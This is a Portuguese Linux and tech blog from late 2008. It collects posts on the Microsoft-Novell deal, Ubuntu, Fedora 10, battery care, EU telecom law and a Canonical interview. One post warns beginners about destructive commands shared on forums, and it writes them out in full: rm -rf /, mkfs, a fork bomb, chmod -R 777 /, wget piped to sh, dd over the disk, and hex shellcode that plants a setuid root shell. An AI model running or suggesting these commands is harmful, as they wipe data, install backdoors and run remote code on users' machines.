sábado, 29 de novembro de 2008

O acordo entre Microsoft e Novell sobre Linux: dois anos depois

O controverso acordo envolvendo a empresa de open source e a criadora do Windows continua criando fortes reações, a favor e contrárias ao negócio.

Há dois anos, a Microsoft e a Novell firmaram um polêmico acordo. Entre outras coisas, as companhias concordaram em não entrar com processos por uso de propriedade intelectual, protegendo os usuários do Suse Linux de litígios por quebra de patentes da Microsoft. O acordo provocou debates acalorados na comunidade Linux, que até hoje é contra a iniciativa. Mas, para os envolvidos, o negócio foi positivo? Depende de quem estamos falando. Microsoft e Novell apresentam sempre um cenário muito positivo do acordo. “Os clientes gostam de ver as duas empresas juntas”, afirma Susan Hauser, gerente geral de parcerias estratégicas da Microsoft. Mas, um opoente fervoroso do negócio, responsável pelo site Boycott Novell, enxerga a situação de modo diferente. “A Novell comprometeu os interesses da comunidade de software livre em troca de centenas de milhares de dólares que recebeu da Microsoft. As duas empresas colocaram seus interesses na frente dos interessas da comunidade que faz os softwares que o restante do mundo usa”, afirma Roy Schestowitz, redator e co-editor do site. “O acordo legitimou as alegações duvidosas sobre patentes da Microsoft”, acrescenta Schestowitz. Segundo o editor, o negócio entre Novell e Microsoft levou a uma corrente de, pelo menos, sete acordos envolvendo o Linux e empresas com sistemas proprietários que também prejudicam os interesses do sistema de código aberto. Atualmente, executivos da Microsoft e Novell falam como se nunca tivesse existido nenhuma controvérsia. Mas existiram e muitos acreditam que a Novell fez concessões muito grandes a respeito de assuntos de propriedade intelectual e Linux. Alguns meses após o acordo, a Microsoft alegou que softwares de código aberto, como o Linux, violavam 235 patentes suas. Mas, a empresa não detalhou quais violações seriam essas. Com o entendimento entre as empresas, a Novell estaria livre de qualquer problema. Outros pontos do acordo garantem o uso de sistemas virtualizados, interoperabilidade de diretórios, gerenciamento de sistemas e um tradutor do formato Open Office XML, da Microsoft, para o Open Document Format, usado pela Novell. Mas, críticos como Schestowitz argumentam que o acordo, juntamente com as contínuas acusações de quebra de patentes feitas pela Microsoft contra o Linux, é mais um passo na direção da marginalização do Linux, ou de fazer do sistema de código aberto um mero coadjuvante no ambiente dominado pelo Windows. “Se a Novell e a Microsoft atingirem seus objetivos, o Linux será cada vez mais será deixado de lado nos datacenters, se tornando essencialmente um sistema secundário que roda sobre máquinas Windows, em oposição a um host que roda com ou sem o sistema da Microsoft”, afirma Schestowitz. O editor também alega que o acordo “gera receitas às custas de quem cria, oferece suporte e distribui software livre, o que, não somente intimida desenvolvedores, mas também torna o software livre uma alternativa menos atrativa do ponto de vista de custos e impede a adoção do principal competidor da Microsoft. Pelo entendimento, a Novell concordou em pagar royalties para a Micosoft com base nas suas vendas. Na opinião de Schestowitz, isso penaliza os colaboradores open source. Por outro lado, a Novell afirma que, na verdade, recebe mais dinheiro da Microsoft, no final das contas, graças à compra de 240 milhões de dólares feita pela dona do Windows em certificados de suporte para o Suse Linux, posteriormente vendidos aos clientes que usam os dois sistemas operacionais em seus ambientes. Em agosto, deste ano a empresa comprou mais 100 milhões de dólares em certificados. Os recursos, segundo a Novell, financiam os esforços da companhia em torno do Linux. No centro das críticas feitas por Schestowitz está a sua crença no fato de um fornecedor dominante estar tentando entrar no mundo open source com o objetivo de “seqüestrar” os competidores de código aberto. “Com o acordo, a Microsoft passa a impressão de querer colaborar com a comunidade open source e, desse modo, começou a freqüentar as conferências da comunidade assim que a negociação foi concluída, por meio da presença da Novell ou por convites implícitos”, afirma. “Mas, se a Microsoft quisesse cooperar realmente com a comunidade, devia começar abrindo seu próprio código e adotando formatos livres de patentes e royalties”, completa. Independentemente das implicações para o mundo Linux e open source, a Novell afirma que o acordo tem sido bom para o Suse Linux e para os fornecedores que usam seu sistema operacional juntamente com o Windows. “Nos últimos dois anos, na verdade nós expandimos as colaborações técnicas nas áreas de acessibilidade e gerenciamento e com projetos como o Moonligth-Silverligth”, afirma Susan Heystee, gerente geral de alianças estratégicas da Novell. “Tivemos um ótimo retorno por parte dos nossos clientes”, diz Susan. Apesar de alguns clientes, como o HSBC, terem afirmado que se beneficiaram do acordo, Schestowitz argumenta que os frutos da iniciativa não são tão benevolentes e que os consumidores estão evitando a Novell. “A empresa perdeu a confiança da comunidade e sua participação de mercado caiu frente a competidores que não concordaram em fazer acordos similares”, afirma.

Fonte: Computerworld

Linux: Alarm Clock


O Alarm Clock é uma excelente aplicação, para ambientes Gnome/GTK, que lhe permitirá manter uma lista de tarefas, lembretes, alarmes e até de aniversários na sua distribuição Linux.



Desenvolvida em Python, tem uma das mais extensas listas de funções entre as aplicações deste género. Permite-lhe, desde logo, criar e gerir diferentes listas de alarmes. Dentro de cada lista poderá então adicionar os seus alarmes, com 3 modos de funcionamento distintos.
O mais vulgar, Create new alarm from scratch, mostra todo o potencial do Alarm Clock. Pode definir um nome, data e hora do alarme e o tipo de notificação: desde a reprodução de um som ou da sua música preferida, à execução de comandos ou do desligar do computador.


Em Create simple counter poderá criar um alarme de funcionamento semelhante ao de um temporizador: ao fim de alguns minutos este irá soar, com um som completamente à sua escolha.
Por fim, Create from template, está apenas disponível caso tenha já definido algum alarme template, isto é, a partir do qual irá criar outros. Este modo apresenta-se útil caso pretenda marcar regularmente eventos semelhantes. Para definir templates clique sobre Edit > Birtdays & Alarms.
Para instalar esta excelente aplicação em sistemas Ubuntu, adicione o seguinte repositório, utilizando o comando correspondente à versão que está a utilizar:
deb http://ppa.launchpad.net/joh/ubuntu hardy main
deb http://ppa.launchpad.net/joh/ubuntu intrepid main
Feito isto, basta digitar no terminal:
sudo apt-get update
sudo apt-get install alarm-clock-applet



Homepage: Alarm Clock

quinta-feira, 27 de novembro de 2008

Fedora 10

Boas, foi lançado no dia 25, a nova versão do Fedora (uma distribuição de GNU/Linux baseada em Red Hat), o Fedora 10.

3 Dicas Para Compras Online Seguras

O Natal está a chegar e com ele a época das compras! As filas de trânsito e a confusão nas lojas levam as pessoas a optar cada vez mais por uma alternativa mais rápida, as Compras Online.

Durante o mês de Dezembro, muitos dos sites de comércio electrónico optam por estratégias de venda como: redução de custos na compra de produtos e entrega gratuita. Desta forma, comprar online é uma opção muito apelativa! Mas...não se esqueça dos riscos envolvidos, que podem implicar roubo de informação e perda de dados.

1 – Utilize um número de conta virtual - é um serviço que a maioria das empresas de crédito oferece. Para aceder a esta solução o utilizador tem de criar um número aleatório de cartão de crédito, que torna virtualmente impossível o roubo do seu número de conta. Depois de estar na posse dessa informação, basta ao utilizador inseri-la no site e concluir a compra. Este número é válido por um curto período de tempo, o suficiente para o fornecedor do serviço, a que acedeu, processar a sua compra que será debitada no cartão de crédito real.

2 - Certifique-se de que está a aceder a um site seguro – procure o ícone do cadeado ou um URL que inicia com https//. Isto significa que a transacção é codificada e segura.

3 – Não confie em emails que solicitam a confirmação do seu número de cartão de crédito – todos os anos e com o intuito de solicitar a confirmação dos seus dados pessoais, entre eles o número de cartão de crédito, os hackers enviam emails enganosos fingindo ser do Serviço de Clientes do eBay ou do PayPal. Cuidado com estes emails! Se tem alguma dúvida em relação ao serviço prestado por um site de e-Commerce, entre em contacto com o Serviço de Clientes do site e não responda a este tipo de emails.

segunda-feira, 24 de novembro de 2008

Comandos para “acabar” com o Linux

Andava eu a procurar novidades curiosas na Internet, quando descobri comandos que quando usados no Linux, podem ser “mortais”.

Penso que é interessante saberem estes códigos, sobretudo se pedirem ajuda num fórum e alguém mal intencionado sugerir alguns dos códigos que vos deixo.

Tenham em atenção os seguintes códigos:

rm -rf /

Este comando eliminará toda a informação do directório Root.

- char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Este comando faz precisamente o mesmo do primeiro, a única diferença consiste no facto de ser mais discreto. Mesmo os utilizadores mais habituados ao sistema Linux, podem não reconhecer o comando.

- mkfs.ext3 /dev/das

Este comando irá eliminar ou reformatar toda a informação existente no dispositivo indicado após o comando mkfs.

- :(){ :|:& };:

Este comando leva o sistema ao limite. Mais conhecido por “forkbomb” este comando indica ao sistema que efectue o maior número de processos até que o sistema crash. Além de todos os constrangimentos causados por este comando, pode também causar danos ao corromper a informação.

- chmod -R 777 /

Este comando permite a um outro utilizador ter privilégios de ler, escrever e executar (“Read, Write, Execute”). Os únicos ficheiros que “escapam” a este comando, são os ficheiros “/bin” e “/etc/bin” pois encontram-se em processamento.

- wget http://codigomalicioso -O- | sh

Este comando faz com que o sistema efectue um download de um código malicioso e o instale na sua máquina. Como é fácil de prever, tudo será possível acontecer a partir desse momento.

O último comando é o mais destrutivo de todos, pois faz com que o disco seja formatado e fique tal e qual como vem de fábrica.

- dd if=/dev/zero of=/dev/sda

Espero que com este artigo os menos experientes ou conhecedores dos sistemas Linux fiquem mais protegidos contra ataques.

10 razões para não utilizar Ubuntu

Ubuntu Tux

Existem muitas pessoas que mesmo após utilizarem o Ubuntu (ou qualquer outra distribuição Linux) continuam a preferir/utilizar o seu Windows (provavelmente pirata ou que pagaram os olhos da cara para o ter ( ou então não )).

Enquanto estava a stumblar (estou viciado no stumbleupon), encontrei um artigo no Socialized Software que indica as top 10 razões para não utilizar Ubuntu e achei no mínimo engraçado.

1 - Não é possível testar antes de comprar

Como o Ubuntu é um software livre, não é possível testar antes de comprar, pois é impossível de comprar.

Por isso o Ubuntu não lhe dá a oportunidade de testar o software antes de pagar.

2 - A instalação de software é demasiado fácil

A instalação de software no Ubuntu via Synaptic ou apt-get é demasiado fácil. Com o synaptic basta fazer uma pesquisa, seleccionar as aplicações/bibliotecas que desejamos instalar e em poucos segundos elas estão instaladas. Simples, fácil e eficaz.

As pessoas estão habituadas a fazer muitas pesquisas e muitos click’s antes do programa estar instalado.

3 - Poucos vírus e muita segurança

Linux é um sistema bastante seguro, portanto não existe a necessidade de ter um anti-virus + anti-spyware + anti-adware + qualquer coisa para proteger os seus dados.

4 - Não tem software de produtividade caros

O Ubuntu não tem uma Suite de produtividade como o Microsoft Office que custa 400$, portanto provavelmente não presta.

O OpenOffice.org é gratuito e opensource, portanto se não se paga, não deve ser grande coisa (tal como o Ubuntu, se é gratuito não presta!).

5 - Não é possível comprar

Como já foi dito o Ubuntu é totalmente gratuito, portanto se não se paga e se até oferecem CDs do Ubuntu é porque provavelmente a ninguém quer o sistema operativo da Canonical e portanto a empresa distribui os CDs que não foram vendidos… provavelmente.

6 - Demasiadas aplicações gratuitas por onde escolher

Existem milhões de aplicações para Linux totalmente gratuitas e a maioria delas é opensource.

São tantas as aplicações que as pessoas têm problemas a escolher aquelas que lhe agradam.

7 - Documentado bem demais

A comunidade Ubuntu junta esforços para documentar todo o software e até mesmo traduzir em várias línguas. Ora se a documentação está em Português não vai prestar… pois o que é em Inglês é que é bom…

8 - Suporte gratuito e rápido

Para além da documentação, das centenas de sites/blogs/fóruns e restantes comunidades que existem para o ajudar a gerir o seu sistema operativo, existem ainda vários canais distribuídos pelas redes de IRC com pessoas dispostas a ajuda-lo em tudo o que for preciso.

9 - Demasiadas Interfaces por onde escolher

Apesar da maioria das pessoas pensarem que Linux ainda é um bicho de 7 cabeças e ainda é tudo por linha de comandos, o Linux permite escolher entre vários Gestores de Janelas (ex: Gnome, KDE, xFCE, etc…) e personalizar totalmente o sistema operativo.

Existem muitas mais configurações possíveis para deskmod em Linux do que em macOSx ou Windows.

10 - Demasiado Eye Candy

Para além dos gestores de janelas disponíveis, é possivel a instalação de pequenas aplicações que apesar de terem como principal objectivo tornar o ambiente Eye Candy, facilitam a vida de quem trabalha com várias aplicações, podendo ter vários desktops no mesmo sistema e agrupar as aplicações em cada um deles.

Mobilizem-se para bloquear a “resposta gradual” do Sarkozy no Conselho Europeu!

Há algumas semanas atrás, a Lei Francesa instalando uma “” contra os utilizadores da foi aceite pelo Senado Francês. Nessa lei, uma autoridade administrativa manda, sem julgamento qualquer, cortar o acesso à (sem possibilidade de subscrição a um novoserviço de acesso) a alegados partilhadores de ficheiros. Nicolas Sarkozy mostrou uma forte determinação em impor este esquema em toda a , usando a presidência Francesa da . No entanto, a emenda 138 à lei de regulação de telecoms Europeia (”Pacote Telecom#), decidiu com 88% dos votos cortar as asas a esse projecto. Isso é a razão pela qual provevelmente o está agora prestes a remover esta emenda numa decisão que irá ocorrer a 27 de Novembro. O Programas Livres convida todos os cidadãos Europeus a escrever para os seus representantes no Conselho e pedir-lhes para manter a emenda 138 no “Pacote”. A sua remoção iria significar uma enorme falha na Europeia, para o interesse único dos lóbis da indístria de entretenimento.

O sonho de Sarkozy impedido pela emenda 138

Assim que se tornou Presidente Francês, Nicolas Sarkozy mostrou uma obsessão: lutar contra a de ficheiros na cortando a ligação à de todos os alegados incumpridores, logo que tivessem sido avisados duas vezes - a “” também referida como “três vezes e estás fora”. Este projecto encontrou considerável oposição.

Assim que o rascunho da lei apareceu em França, várias emendas foram introduzidas de forma encoberta do “Pacote Telecoms”. Graças à mobilização dos cidadãos Europeus, provisões ameaçando a “Neutralidade na ”, enfraquecendo a protecção de dados pessoais e a , ou erguendo as fundações para uma aproximação “três vezes”, foram destacadas, confirmadas por uma forte anãlise do Supervisor da Protecção de Dados Europeu (EDPS).

As ameaças continuam presentes no texto votado pelo Europeu na sua primeira leitura (Universal services, Artigo 33 (2a) e Artigo 20 (2), e directiva Framework artigo 8(4g) e Anexo 1, ponto 19 da directiva de Autorização). No entanto, estas ameaças foram evitadas por importantes salvaguardas para o utilizador, notavelmente a Emenda 138 da directiva Framework, suportada por uma grande maioria vinda dos diversos Partidos − 88% dos Membros do Parlamento Europeu (MEPs).

“Para serem efectivas, as medidas acusatórias e punitivas da “” deveriam sobrepor-se à autoridade judicial. Isso é claramente demonstrado pela lei Francesa, establecendo uma nova autoridade administrativa, punindo utilizadores da com raro espaço para qualquer recurso num tribunal, logo que o danotenha sido feito com o corte do seu acesso à . O objecto de uma emenda 138 é apenas uma lembrança do direito a julgamento.”

, explica Jeremie Zimmermann, co-fundador da Quadratura da Net.

Uma tentativa de evitar a Europeia

A meados de Outubro, N.Sarkozy escreveu ao Presidente da Comissão Euripeia, José Manuel Barroso, pedindo-lhe para remover a emenda 138 do texto que tem agora de ser acordado pelo . Barroso rejeitou o pedido. O próximo passo para o procedimentode co-decisão da UE será a primeira leitura pelo Conselho, onde ministros dos 27 Estados-Membro terão de ser convencidos pelo Presidente Francês, a 27 de Novembro.

Caso a emenda 138 seja removida do Pacote Telecoms pelo Conselho, isso iria mostrar a toda a que a estrutura tecnocrática pode ser usada pelo ramo executivo para ultrapassar a expressão democrática do . Tal aceitação da vontade de Nicolas Sarkozy, para servir o interesse de alguns lóbis das indústrias de entretenimento, seria um exemplo muito triste da derrota da Europeia.

A dos cidadãos Europeus a Sarkozy através do Conselho

O Programas Livres apela a todos os cidadãos Europeus a contactar os seus ministros e parlamentos nacionais para informá-los e para exigir deles uma posição transparente sobre os princípios fundamentais democráticos relembrados pela emenda 138.

Apesar de Bruxelas aparentar estar determinada a manter a emenda, Sarkozy está a fazer de tudo para convencer os Ministros Europeus a removerem essa emenda.

Como conclui Zimmermann,

No decorrer do ‘Pacote Telecoms’, os cidadãos Europeus atingiram já alguns resultados tremendos: expôr este projecto-lei, alertando os MEP para que eles possam entender o que estava em jogo, apontar para as ameaças escondidas e para o que poderiam ser salvaguardas, etc. Pessoas de muitos países Europeus já se juntaram a este esforço. Mostraram a face da actual Europeia. E fazem-no apesar das manobras daqueles que são incontáveis ao nível Europeu: e lóbis da indústria de entretenimento. Agora, os Europeus terão de se fazer ouvir mais alto!”

sábado, 22 de novembro de 2008

Pico das ameaças online acontece segunda-feira

O pico de circulação de malware na Internet deverá acontecer na próxima segunda-feira, alerta a Trend Micro. Segundo a empresa, a análise a 500 mil computadores em todo o mundo permitiu aos especialistas identificassem o dia 24 de Novembro como o dia de maior actividade de propagação de software malicioso em relação a todo o ano de 2008.

Já no ano passado, o exponencial de ataques aconteceu a três dias antes do Dia de Acção de Graças, comemorado a 27 de Dezembro nos Estados Unidos. Dadas as tendências, tudo indica que este ano a situação será repetida.

A empresa indica que o aumento da actividade dos vírus está relacionado com o aumento dos negócios dada a aproximação do Natal e com a CyberMonday, dia em que milhares de utilizadores iniciam as suas compras online para a época festiva.

Segundo a Trend Micro, estima-se que o número de pessoas que utilizam a Internet para fazer as suas compras de Natal aumentem este ano, tal como tem acontecido anteriormente, já que a rede se tem assumido como uma alternativa para encontrar preços mais baixos contribuindo para a redução de custos em tempo de crise.

sexta-feira, 21 de novembro de 2008

Trabalhadores processam empregadores por usarem Windows Vista

Nos Estados Unidos da América, vários trabalhadores que recebem à hora estão a processar os seus empregadores devido ao tempo que o Windows Millenium 2.0, vulgo Windows Vista, demora a fazer boot e a desligar.

De acordo com um dos representantes destes trabalhadores, o advogado Mark Thiernman, os trabalhadores perdem até duas horas de ordenado todas as semanas devido ao tempo que o Windows Vista demora até se fazer login. A entrada ao trabalho destes trabalhadores só é contabilizada quando fazem login, e como o ME 2.0 é, de acordo com estes trabalhadores, lento como o raio, eles tão no local de trabalho mas não estão oficialmente a trabalhar.

O mesmo se passa quando estão a desligar o computador. O tempo que têm que esperar até o computador estar desligado não é contabilizado, logo é dinheiro que não recebem.

Aposto que estes trabalhadores estão à espera que o 7 do Windows seja um número da sorte para eles e não para os seus empregadores. Mas se a tradição se mantiver, vai ser um número de azar para eles.

Toda a verdade sobre baterias de Lítio

Pois bem, após muitas horas de leitura por essa Internet fora, descobri um site credível e verdadeiramente completo e pedagógico sobre baterias de todo o tipo.

Assim sendo, venho partilhar convosco, utilizadores de portáteis, os meus conhecimentos no que toca a manutenção de baterias de lítio.

  • Em 1º lugar vou desfazer um mito que muita gente ainda não conhece a verdade.

O efeito de memória, ou seja o ficar “viciada”.
No caso das baterias de lítio, esta regra não se aplica, portanto o andar a descarregar completamente e carregar apenas quando descarregada é completamente inútil e até prejudicial como vão verificar mais abaixo.
A bateria de lítio pode ser carregada qualquer que seja a sua carga actual.

  • Em seguida esclarecer um ponto crítico dos utilizadores dos portáteis:

Será que devo tirar ou não a bateria quando estou ligado a corrente?
A resposta é: SIM e NÃO, depende dos casos.
Não prejudica ter a bateria a 100% de carga e estar com o adaptador AC/DC ligado, pois a bateria assim que chega aos 100% deixa de receber energia e é feito um bypass directamente para o sistema de alimentação do portátil.
Porém existe uma desvantagem em manter a bateria no portátil quando ligado à corrente, mas apenas, se esta estiver a sofrer aquecimento gerado pelo hardware do portátil.

Portanto:

  • Uso normal do portátil sem aquecer (cpu e disco na ordem dos 30~40ºC) -> manter a bateria.
  • Uso intensivo que leva a um grande aquecimento (Jogos) -> retirar a bateria para que esta não aqueça.

O calor, aliado ao facto de estar a 100% de carga são o grande inimigo da bateria e não o cabo do transformador, como muitos pensam!!

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Quanto ao carregamento da bateria, devem-se evitar as descargas completas (até o PC morrer) pois isto stressa muito a bateria e pode mesmo danificá-la.
É preferível fazer vários descarregamentos parciais (até 20~30%) e frequentes recargas a fazer um descarregamento total e carregamento total.

No entanto, as baterias de portátil contêm um medidor de capacidade que com o uso fica descalibrado. Alguns portáteis incluem na BIOS ferramentas para re-calibrar a bateria o que não é mais do que uma descarga completa seguida de uma carga completa.

Portanto para calibrar o medidor, deve ser feita, em cada 30 carregamentos parciais (referidos acima), uma descarga completa seguida de uma carga completa.
Um medidor descalibrado pode levar a que seja indicado um valor irreal da capacidade, desligando o PC quando a bateria ainda tem capacidade.

No que toca à conservação por longos períodos da bateria, este deve ser feito com a carga da mesma a 40% e num local o mais fresco e seco possível.
Lembrem-se que o maior inimigo de uma bateria de lítio é o calor, por isso, deixar o portátil chapado ao sol no carro num dia de Verão com a bateria a 100% é meio caminho para uma morte anunciada!

Por fim referente à compra de uma bateria suplente, façam-no apenas quando a bateria actual estiver a dar as ultimas, caso contrário, o não aproveitamento de uma das baterias leva à sua degradação.

Se comprarem uma e não usarem durante muito tempo, conservem-na a 40% da sua carga e de preferência no frigorífico (0ºC - 10ºC).

Além disso, aquando da compra de uma bateria deve-se ter em atenção a data em que foi fabricada.

Pontos a memorizar:

  • O calor é o pior inimigo de uma bateria de lítio, se esta estiver 100% carregada então é muito mau!
  • Não há efeito de memória!
  • Descargas sempre parciais até uns 30%, cargas parciais não afectam negativamente a bateria.
  • de 30 em 30 descargas parciais, fazer uma descarga total seguida de uma carga total, a fim de impedir que o medidor se descalibre.
  • Para conservar uma bateria por longos períodos, 40% de carga e não calor!

Referência principal
Tabela com info acerca dos vários tipos de baterias
Um bom guia para optimizar o consumo de energia do portátil

O que é o GNU/Linux ?


O GNU/Linux é o resultado do sistema GNU com o kernel Linux.

O projecto GNU, GNU's Not Unix, foi iniciado em 1984 por Richard Stallman, com o intuito de os utilizadores de programas poderem gozar de mais liberdade, e não serem reféns das empresas que os vendem. Da mesma forma, os programadores não devem ser limitados, mas sim ter livre acesso e reutilizar código fonte.

E arrancou com o objectivo de desenvolver um sistema operativo completo e livre, similar ao Unix. Um sistema operativo similiar ao Unix é um conjunto de muitos programas. Um conjunto de bibliotecas foi criado e denominado de GNU Lib C. Outras ferramentas criadas consistem em ferramentas básicas, como os comandos grep, cut, ls, mkdir, rmdir, ln, mas também ferramentas de compilação, como o make, gcc, autoconf, e outras. O GNU inclui todo o software GNU, e muitos outros como o X Window System e o TeX.
No início da decada de 90, o GNU estava quase pronto, faltando desenvolver o kernel (que por motivos da estratégia utilizada demorou muito mais tempo a ser elaborado do que o esperado), quando Linus Torvalds lançou o seu kernel muitas pessoas começaram a juntar esse kernel ao GNU, originando um duo que revelou ser muito eficaz. Daí a designação mais correcta dos sistemas normalmente denominados por "Linux" ser "GNU/Linux",
A razão da existência do GNU é cumaltar a existencia de um sistema operativo livre, por isso todos os componentes deste são software livre (não necessáriamente sob copyleft).

O Linux (o termo "Linux" refere-se sempre ao longo deste documento como o kernel criado por Torvalds) foi inicialmente criado, como um hobbie, por Linus Torvalds, na altura estudante da Universidade de Helsínquia, Finlândia. Linus tinha um elevado interesse no Minix, um pequeno sistema Unix, e decidiu desenvolver um sistema que excedesse os standards do Minix. Começou o seu trabalho em 1991, altura em que lança a versão 0.02 e trabalhou arduamente até 1994, altura em que a versão 1.0 do kernel do Linux foi lançada. A versão actual (estável) é a 2.6 sendo que o desenvolvimento de novas versões não para, e está sob licensa GPL.

O GNU/Linux é fruto de uma comunidade que compartilha as suas descobertas, e que preza a liberdade e o espírito de fraternidade.
Novas aplicações são concebidas todos os dias. Para se manter um estado de evolução constante, é preciso força de vontade, génio inventivo, e estar disposto a fazer parte de uma comunidade que se orgulha de partilhar, de aprender, e de ensinar. Não é uma comunidade egoísta, nem fechada: pode examinar o código fonte de cada programa, e ver o que cada ferramenta, função, instrução faz. Pode aprender com o que outros fizeram. E pode acrescentar o seu código nesta construção. Tem estas liberdades garantidas pela GNU General Public License.

VIA publica documentação e faz parceria com OpenChrome

Mais cedo neste ano, a VIA anunciou que gostaria de 'apanhar o comboio' do open-source estabelecendo uma iniciativa de desenvolvimento de um driver open-source, lançando documentação e código-fonte e melhor contato com a comunidade. Eles deram alguns pequenos passos nos últimos meses mas hoje deram sua maior contribuição ao lançar 4 guias de documentação para programação que cobrem o vídeo, 2D e 3D para seu processador gráfico Chrome 9. Adicionalmente, estão agora em parceria com os programadores do projecto OpenChrome.

Versão 0.7 do editor de vídeo kdenlive

Acaba de ser publicada a versão 0.7 do kdenlive, um editor de vídeo não linear, que nesta versão mostra pela primeira vez uma interface KDE 4. As suas funcionalidades são baseadas no FFmpeg, portanto suportando inúmeros formatos.

Visual: screenshot
Efeitos: link
Características: link

quinta-feira, 20 de novembro de 2008

“Canonical tem foco no Brasil”, afirma executivo

Em entrevista sobre o lançamento da mais recente versão do Ubuntu, o gerente de negócios da Canonical para a América Latina, Fabio Filho, afirmou que o Brasil é um dos países em que a empresa tem foco na atuação.

Linux Magazine Online» Em primeiro lugar, Fabio, parabéns pelo lançamento. Quais as principais novidades do Ubuntu 8.10 com relação às versões anteriores?

Fabio Filho» O Ubuntu 8.10 Desktop Edition é projetado para o estilo de vida digital conectado. Com o suporte à rede 3G, os usuários podem migrar harmoniosamente de redes com fio e Wi-Fi para redes de celular 3G enquanto viajam. O Ubuntu 8.10 também é desenvolvido para ser compartilhado – o usuário pode começar uma rápida “sessão visitante” e deixar que alguém use o seu computador para navegar na Web ou verificar email, ao mesmo tempo em que mantém a segurança e a integridade de seus próprios dados. E se aquela pessoa realmente gostar da sua rápida sessão como um visitante Ubuntu, ela pode colocar o Ubuntu em qualquer dispositivo USB e levá-lo para casa para instalá-lo em seu próprio computador, em vez de ter que gravar um CD.

Como um bônus, todos os usuários do Ubuntu 8.10 terão acesso à programação da BBC, com conteúdo transmitido em alta qualidade disponível nos tocadores padrão de mídia do Ubuntu 8.10. A Canonical trabalhou com a BBC para garantir que grande parte desse material estivesse disponível para usuários de todos os lugares do mundo.

Em resumo, os maiores avanços são suporte nativo à conexão 3G à Internet, gravação e instalação a partir de uma unidade USB, sessões “Convidado”, conteúdo da BBC e a versão mais recente do desktop Gnome.

LMO» A versão 8.10 teve importantes alterações estéticas. Quais foram os motivos por trás delas?

FF» O Ubuntu 8.10 pretende estabelecer a base para a construção de um ambiente computacional de desktop mais móvel e radicalmente diferente ao longo dos próximos dois anos. Nosso ciclo rápido de lançamentos mostra que podemos oferecer elementos para suportar esse futuro de uma forma mais rápida, completa e empacotada de maneira mais atrativa do que os fornecedores tradicionais de sistemas operacionais. O Ubuntu 8.10 tem muitas funcionalidades que ditarão como o Linux impulsionará a direção e a inovação na computação para desktops.

A adoção da nova versão do Gnome, assim como as diversas inovações estéticas, objetivam sempre oferecer ao usuário uma interface inovadora, simples e que permita uma interação prática e objetiva, independente de seu conhecimento.

Além disso, facilitar a vida “conectada” de nossos usuários continua sendo parte importante do desktop, e o Ubuntu, em sua versão 8.10, oferece uma interface de acesso às conexões por cabo ou 3G, de maneira simples, fácil e direta.

LMO» O Ubuntu 8.04 não facilitava o acesso à Web via 3G. Como a versão 8.10 corrige isso?

FF» Desconhecemos problemas críticos de acesso a rede 3G na versão 8.04. Particularmente, possuo dois modens 3G (um Huawei e um Sony) e uso-os tranqüilamente em meu Hardy.

Na verão 8.10, o Ubuntu vem nativamente preparado para redes 3G, com suporte de hardware a uma grande variedade de modens e tecnologias, e com funções de conectividade que permitem a criação de um ambiente “sempre-conectado”. Procuramos aqui manter nossa filosofia de “it just works” e estendê-la às nossas funções de conectividade oferecidas.

LMO» Que novidades veremos em breve quanto ao Ubuntu pré-instalado em PCs, laptops e netbooks?

FF» No Brasil, empresas como Login e Preview já embarcam seus computadores com o Ubuntu pré-instalado. Entre os dez maiores fabricantes de computadores do Brasil, sua grande maioria já está avaliando o Ubuntu como uma opção efetiva.

A Dell iniciará suas ofertas de máquinas com Ubuntu ainda em novembro, e em breve novos anúncios serão feitos pela Canonical.

A Toshiba anunciou no início de outubro a disponibilidade de seus modelos de netbooks com o Ubuntu Netbook Remix, nossa versão para netbooks.

LMO» O Ubuntu Server é considerado ainda imaturo por alguns profissionais, apesar de iniciativas como a da Wikipédia, anunciada recentemente. Quais as principais novidades do Ubuntu Server 8.10 e o que a Canonical está fazendo para melhorar essa percepção?

FF» As novidades na versão Server são das áreas de virtualização, Java, servidores de email, RAID, criptografia de dados em disco, uso de novos recursos de segurança da glibc, firewall e monitoramento.

LMO» O Ubuntu surgiu como um derivado do Debian mais fácil e prático e agora já surgem diversas outras distribuições baseadas no Ubuntu com o objetivo de “consertar” alguns comportamentos desta. Qual a opinião da Canonical sobre essas derivações? Elas dividem esforços? São benéficas ao Ubuntu?

FF» Vamos lembrar que o grande desafio de manutenção de uma plataforma como o Ubuntu, assim como a razão do crescimento da Canonical, é garantir todo apoio e investimento realizados, objetivando perpetuar características como maior compatibilidade de hardware, suporte e serviços em torno da plataforma.

Dito isso, é comum a adoção para derivações distintas do produto, porém sabemos que o desafio de contínuo suporte, desenvolvimento e oferta de serviços em torno do produto, diretamente pela Canonical e seu pool de parceiros, é um dos nossos grandes diferenciais e razão do contínuo crescimento da empresa.

Lembrando também que o Ubuntu traz o melhor do Código Aberto para a plataforma, que utiliza de engenharia de qualidade e de seus repositórios de atualização mantidos pela Canonical.

LMO» Qual é o sentimento da Canonical quanto às críticas feitas à política de contribuição de código da empresa durante a Linux Plumbers Conference? Tratava-se apenas de falta de divulgação das iniciativas já existentes nesse sentido? Que medidas foram tomadas para remediar a percepção negativa de alguns membros da comunidade desenvolvedora?

FF» A Canonical sem dúvida é uma das maiores contribuintes da comunidade e tem atuado junto a ela desde seu início.

O Ubuntu nasceu com parte dessa interação e se tornou a distribuição mais utilizada no mundo como conseqüência dos avanços e desenvolvimentos da interação entre a Canonical com o mundo do Código Aberto.

A questão discutida na conferência seria quanto ao volume de contribuição por parte da empresa a diferentes stacks do kernel, o que foi corretamente reportado pelo CTO da Empresa, Matt Zimmerman. Somos o maior contribuinte de avanços ao desktop linux e, sem dúvida, estabelecemos internamente e externamente diretrizes para que isso sempre aconteça.

Em razão de nossa posição de mercado e aos altos níveis de adoção do Ubuntu – conseqüências dos inúmeros investimentos da empresa no Código Aberto –, certamente estamos cientes de que se criam altas expectativas em torno do produto e questionamentos sobre esse tópico, sempre polêmico.

